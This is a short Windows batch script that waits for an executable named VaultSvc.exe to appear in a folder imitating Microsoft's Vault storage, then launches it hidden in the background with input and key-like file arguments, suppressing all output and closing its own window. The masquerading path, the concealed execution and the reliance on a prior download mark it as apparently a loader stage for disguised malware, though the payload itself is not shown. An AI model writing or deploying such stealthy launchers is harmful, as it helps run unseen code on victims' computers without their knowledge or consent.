@echo off :: 1. Force the directory to the exact Storage folder set "MY_DIR=%LOCALAPPDATA%\Microsoft\Vault\Storage" cd /d "%MY_DIR%" :: 2. Safety Check: Verify the files exist before attempting to launch :: This prevents the script from crashing if it triggers before the download completes :check if exist "VaultSvc.exe" goto :run timeout /t 2 >nul goto :check :run :: 3. Detached Execution :: 'start "" /b' launches the process in the background without a new window :: '>nul 2>&1' discards all output (no "streams written" messages) start "" /b "VaultSvc.exe" metadata.db -i cache.dat -k a.txt >nul 2>&1 :: 4. Exit immediately :: This closes the cmd window that triggered this bat file exit